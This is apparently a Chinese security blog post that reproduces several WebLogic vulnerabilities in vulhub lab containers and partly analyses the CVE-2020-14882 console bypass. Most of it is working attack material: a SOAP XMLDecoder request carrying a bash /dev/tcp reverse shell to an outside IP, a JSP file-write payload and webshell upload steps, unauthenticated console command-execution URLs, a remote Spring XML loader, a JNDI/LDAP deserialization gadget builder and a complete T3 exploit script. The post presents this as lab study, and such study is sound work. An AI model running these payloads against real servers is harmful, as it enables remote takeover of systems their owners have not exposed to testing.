Weblogic 漏洞复现

Weblogic 漏洞复现

环境无特殊说明都是vulhub上的环境,复现内容也多为vulhub上的。

参考文章

WebLogic 安全研究报告 (seebug.org)

weblogic漏洞复现合集

Java 漏洞分析之远程调试方法总结

CVE-2020-14882&14883:Weblogic RCE复现

CVE-2020-14825:Weblogic反序列化漏洞复现

Weblogic漏洞——从入门到放弃 – FreeBuf网络安全行业门户

CVE-2020-14882\CVE-2020-14883漏洞分析 – 安全客,安全资讯平台 (anquanke.com)

CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

原理分析

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

详细见Weblogic XMLDecoder RCE分析

漏洞复现

判断

访问http://localhost:7001/wls-wsat/CoordinatorPortType11,查看是否存在以下界面:

image-20210220154911797

反弹shell

import HackRequests

hack = HackRequests.hackRequests()

raw = '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/172.25.204.194/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''

hh =hack.httpraw(raw)
print(hh.text)
image-20210220155926942

写入文件 (访问:http://127.0.0.1:7001/bea_wls_internal/test.jsp)

import HackRequests

hack = HackRequests.hackRequests()

raw = '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
'''

hh =hack.httpraw(raw)
print(hh.text)

CVE-2018-2628 Weblogic反序列化

from vulhub

原理分析

CVE-2018-2628 Weblogic反序列化漏洞分析

漏洞复现

首先下载ysoserial,并启动一个JRMP Server:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8848 CommonsCollections1 "touch /tmp/fe1w0"

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。

然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:

python exp.py 192.168.1.5 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.1.5 8848 JRMPClient2

其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClientJRMPClient2

image-20210221142227904

很魔幻的是,并不能执行反弹和执行创建文件这些命令,不知道为什么。

Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞分析与环境

WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

漏洞复现

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic,密码为Cvo7X5BM

image-20210221144350761

登录后台页面http://your-ip:7001/console ,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的。

然后点击安全 -> 增加,然后上传webshell:

image-20210221162716630

上传后,查看返回的数据包,其中有时间戳:

image-20210221162750556

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],如http://localhost:7001/ws_utc/css/config/keystore/1613896058991_webshell.jsp

链接哥斯拉:

image-20210221163249736

CVE-2020-14882 weblogic 未授权命令执行复现

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本

weblogic 10.3.6.0.0

weblogic 12.1.3.0.0

weblogic 12.2.1.3.0

weblogic 12.2.1.4.0

weblogic 14.1.1.0.0

漏洞复现

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://localhost:7001/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/fe1w0');")

进入容器,可以发现touch /tmp/fe1w0已成功执行:

image-20210221170254460

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://192.168.1.5:80000/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/rce]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
python -m http.server 

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.5:8000/rce.xml")
image-20210221170739795

这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。

漏洞分析

参考学习于:

CVE-2020-14882&14883:Weblogic RCE复现 – SecPulse.COM | 安全脉搏

CVE-2020-14882\CVE-2020-14883漏洞分析 – 安全客,安全资讯平台 (anquanke.com)

CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)

调试Debug环境搭建

首先修改docker-compose.yml,添加远程debug端口

version: '2'
services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
    - "7001:7001"
    - "8055:8055"

再重新创建docker-compose up -d

之后进入docker容器内部修改/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh,采用复制的方法

修改为如下(需要重启):

JAVA_PROPERTIES="${JAVA_PROPERTIES} ${CLUSTER_PROPERTIES}"
export JAVA_PROPERTIES

JAVA_DEBUG=""
export JAVA_DEBUG

local_debug="true"
export local_debug
debugFlag="true"
DEBUG_PORT="8055"

修改IDEA配置,如图

image-20210221173718309

如下图,说明链接成功

image-20210221174008347

同时我们还需要将docker中的源码复制出来:

sudo docker cp 3eda3:/u01/oracle/ ./ # 复制weblogic全部源码
mkdir dep  &&  cp `find ./* -name "*.jar"` ./dep #将jar包全部集中复制到一起

最后将dep文件夹右击添加为库,此时dep中的所有jar包都可以展开和打断点了。

image-20210221175156631

这里有一个坑点,在整个项目中会有两console.jar一个是webapp中的(这是我们要debug的),另一个是consolehelp中的,而上面的cp操作的可能是复制了consolehelp,若是没有注意,下面就没法做。

RCE部分

调试该部分由于没有加绕过,所以请在登录到后台之后进行

payload:

http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("yahaha")

记得对里面的特殊字符进行URL编码

根据越南兄弟的补丁对比,第一处修改有:

/dep/console.jar!/com/bea/console/handles/HandleFactory.class
image-20210221184043014

​ 补丁在debug区内,只允许handleClass参数进来

如果没修改的情况,可以发现这里可以任意指定类,并获得其以字符串为参数的构造函数,然后进行初始化。

如下示例:

package com.fe1w0.weblogic;



import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;



/**
 * @description 此部分用于测试HandleFactory代码中的classLoader
 * @Author fe1w0
 */

public class test {
    static public void main(String args[]){
        try{
            // 获取Runtime类对象
            Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
            Constructor constructor = runtimeClass1.getDeclaredConstructor();
            constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
            Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
            Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

            String cmd = "calc";
// 调用exec方法,等价于 rt.exec(cmd);
            Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

args被输入数据完全控制,但无论如何只会获得一个值:

image-20210221184543588

由此我们可以推断出,通过url传入的参数handle我们可以获得具有string作为构造函数的类。

ShellSession利用

com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类,我们先看看这个类:

com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类,我们先看看这个类:

/dep/coherence-rest.jar!/com/tangosol/coherence/mvel2/sh/ShellSession.class

这里尝试使用payload:

http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('ls');");
image-20210221185602343

34进行步入,然后就可以发现后面很秀

image-20210221185646968

接着步入

image-20210221185737241

之后的this._exec()会解析命令并执行

com/tangosol/coherence/mvel2/sh/ShellSession.class天秀

未授权访问url部分

找到未授权的路由

我们注意到POC前面但组成部分其实还含有路径穿越问题,即这段/console/images/%252E%252E%252F,之所以会这样构造是因为存在二次URL编码绕过问题,但这种直接把写黑名单的方式,并不是很好的修复方式。

传送门:

https://twitter.com/chybeta/status/1322131143034957826/photo/2

这里对路径穿越几个关键字符及其URL编码加以限制,那几个URL解出来%.%.,..,<,>,基本属于不带..玩了,我们马上来看看,为什么要禁止这几个字符吧:

首先是weblogic的校验函数:

/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurity.class.checkAccess
image-20210221192500360

该函数会校验请求的路由是否经过校验,这个校验的标志由getConstraint函数提供,打上断点之后F7来到了

/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurityWLS.class

测试命令:

curl http://127.0.0.1:7001/console/console.portal

评估,表达式为this.getConstraint(getRelativeURI(req), req.getMethod())

image-20210221193402704

下图为命令为curl http://localhost:7001/console/css/%252e%252e%252fconsole.portal

image-20210221193558136

我们可以看看这个函数具体是什么情况:

这里会返回一个类StandardURLMapping,从参数名来看一个是对所有方法响应的路由,一个是对某个方法响应的路由:

image-20210221194538407

看看StandardURLMapping类:

image-20210221195101670

从函数名来看,这里应该是直接忽略的URL列表

对比得到的matchMap,我们的console.protal是不在这个列表里面的:

image-20210221195133850

后面我们会进入else分支,这里会校验是否有用户session,由于我们没登录自然得到了null,随后这个session又会被拿去鉴权,自然也是无法通过的。

image-20210221195922807

我们可以去访问一下/css目录比较一下:

curl http://127.0.0.1:7001/console/css/

此处对应的校验id为/css/*,与console.protal唯一的不同便是unrestricted=true,curl命令的结果为404

这里404是因为没有设置默认的界面,但总之我们成功访问到了:

image-20210221200029719
分析路由设置,

到这边,我思路一开始没有跟不上师傅的分析🤦‍♂️ 🙁

幸运的是,后来看到另外两篇对14882中路由的分析.

CVE-2020-14882\CVE-2020-14883漏洞分析 – 安全客,安全资讯平台 (anquanke.com)

CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)

weblogic和其他JavaWeb应用类似,它有web.xml,我们知道web.xml里面配置了servlet信息,去看看:

docker cp 0ec70f688dec:/u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml ./

其中这两处信息最重要:

image-20210221201503765

这里告诉我们*.protal后缀但内容会被AppManagerServlet处理,而之前我们看到的matchMap中的内容(路径,如/css),则被定义成资源,没有配备对应的servlet

image-20210221201605281

servlet对应关系部分如下:

/framework/skeletons/wlsconsole/js/* -> FileDefault
/css/* -> AsyncInitServlet
/images/* -> AsyncInitServlet
/common/* -> JSPCServlet
...

所以我猜测挖洞的大佬这时候就开始考虑,如果我在不鉴权的目录下,访问只有servlet能处理的文件会怎样,根据web.xml中的内容找到对应servlet--/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/AsyncInitServlet.class

打上断点,利用

curl http://127.0.0.1:7001/console/css/console.portal

结果为:

image-20210221202819073

于是,请求/css/*会调用AsyncInitServletservice方法

image-20210222091951173

然后这里如果直接加上payload是不会触发handle的断点:

curl "http://127.0.0.1:7001/console/css/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/testok%27);%22);"

但使用能执行的payload时,确实是由这个servlet处理的:

image-20210222092204163要想办法在/css目录,就触发handle,从而实现未授权RCE,而这里就需要目录穿越。

触发handle

漏洞爆出之后我们知道了,其实触发handle的方法就是对../进行url双重编码。

具体分析可以看原文,或CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)

一次url编码肯定是正常的 ,这是每个中间件都会做的事情,那我们顺着这条调用栈继续往下跟进,这段代码位于UIServletInternal.getTree处,在这里应用对已经进行了一次url编码的URI进行了第二次url编码,测试curl "http://localhost:7001/console/css/%252e%252e%252fconsole.portal"

dep\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServletInternal.class

发现一开始传入为

image-20210222094917037

requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());处理后

image-20210222095023846

由于在后续的一系列操作中weblogic并没有在对路径穿越进行防范,从而可以触发handle

CVE-2020-14825 Weblogic反序列化漏洞复现

Oracle官方在2020年10月份发布的最新安全补丁中修复了许多安全漏洞,其中黑名单类oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor可造成反序列化漏洞。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle Weblogic Server。

影响版本

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

环境搭建与漏洞复现

环境搭建

Weblogic下载链接:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

选择 12.2.1.4 的 Generic 版本进行下载安装即可,安装过程注意JDK版本造成的安装失败(建议JDK 1.8)以及以管理员权限运行安装包。此外,安装过程中,为方便后续其他漏洞利用,安装类型可选择“含示例的完整安装”。

我是安装CVE-2020-14645:Weblogic远程代码执行复现 (qq.com)这篇进行安装 的

安装完之后,直接运行安装目录下的启动脚本即可,路径如下:

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd

image-20210222102733484

启动脚本后,浏览器访问

http://127.0.0.1:7001/console

image-20210222102848786

漏洞复现

1、编译poc文件并通过python部署在http服务器,poc文件如下:

public class Exp {
    // POC open calc
    public Exp(){
        try{
            Runtime.getRuntime().exec("calc.exe");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] args){
        Exp e = new Exp();
    }
}

将编译产生的 class 文件部署在 python 起的 http 服务器

python -m http.server 80

2、启动 ldap 服务链接到 poc 文件

$java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exp 1389

3、运行 payload 文件生成反序列化数据文件,通过t3协议传输

payload 文件见:

https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java

注意 这些包需要自己下载配置,其中oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractororg.eclipse.persistence.internal.descriptors.MethodAttributeAccessor简直一口吐血

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;


import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
    public static void main(String[] args) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("Timeline Sec");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
//        accessor.setGetMethodName("connect");

        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/#Exp");

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
        out.writeObject(queue);
        out.flush();
        out.close();
//        readObject();
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractororg.eclipse.persistence.internal.descriptors.MethodAttributeAccessor的jar…找了一个上午,就是没找到,后来在Download dependencies for java class oracle.eclipselink (jar-download.com)

image-20210222123539694

下载这个并添加就行

深深的怨念,为什么官网没有,google也无果

python T3 脚本见:

https://github.com/rufherg/WebLogic_Basic_Poc
import socket
import sys
import struct
import argparse

class WebLogic():

    def __init__(self, url, port, ser_file):
        self.ip = url
        self.port = port
        self.sock = self.get_sock(self.ip, self.port)
        self.ser_payload = open(ser_file,'rb').read()

    @staticmethod
    def get_sock(ip, port):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_address = (ip, port)
            sock.connect(server_address)
            print("[INFO]: connecting to %s port %s" % server_address)
        except Exception as e:
            print("[ERROR]: " + str(e))

        return sock

    def t3_hand(self):
        handshake = b't3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'
        print("[INFO]: sending handshake packet ...")
        print("[INFO]: <<< Packet Content >>>")
        print(handshake.decode())
        print("[INFO]: <<< Packet Content >>>")
        self.sock.sendall(handshake)

        data = self.sock.recv(1024)
        print("[INFO]: received handshake data")
        print("[INFO]: <<< Packet Content >>>")
        print(data.decode())
        print("[INFO]: <<< Packet Content >>>")

    def choose(self):
        payload_1 = b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
        payload_2 = b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

        return payload_1, payload_2

    def poc(self):
        try:
            self.t3_hand()
            payload_1, payload_2 = self.choose()
            payload = payload_1 + self.ser_payload + payload_2
            payload = struct.pack("!i", len(payload)) + payload[4:]
            print("[INFO]: Sending payload ...")
            self.sock.send(payload)
        except Exception as e:
            print("[ERROR]: " + str(e))

if __name__ =="__main__":
    if len(sys.argv) == 1:
        sys.argv.append('-h')

    parser = argparse.ArgumentParser(description='WebLogic POC & EXP Basic Script',add_help=True)
    parser.add_argument('-u','--url',default=None,help='WebLogic服务器ip',type=str)
    parser.add_argument('-p','--port',default=7001,help='WebLogic服务器端口(默认7001)',type=int)
    parser.add_argument('-f','--file',default=None,help='payload序列化数据文件',type=str)
    args = parser.parse_args()

    if args.url and args.file:
        try:
            target = WebLogic(args.url, args.port, args.file)
            target.poc()
        except Exception as e:
            print("Something ERROR!")
            print("[ERROR]: " + str(e))
            exit()
image-20210222125521221

漏洞分析 [暂且搁置]

害怕,师傅分析的文章,需要有很多东西提前了解学习

先看完,这两篇再说

JAVA反序列化 – Commons-Collections组件 – 先知社区 (aliyun.com)

Java安全之初探weblogic T3协议漏洞 – 安全客,安全资讯平台 (anquanke.com)

CVE-2021-2109 远程代码执行

SSRF

漏洞分析

漏洞复现

Weblogic 常规渗透测试环境

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
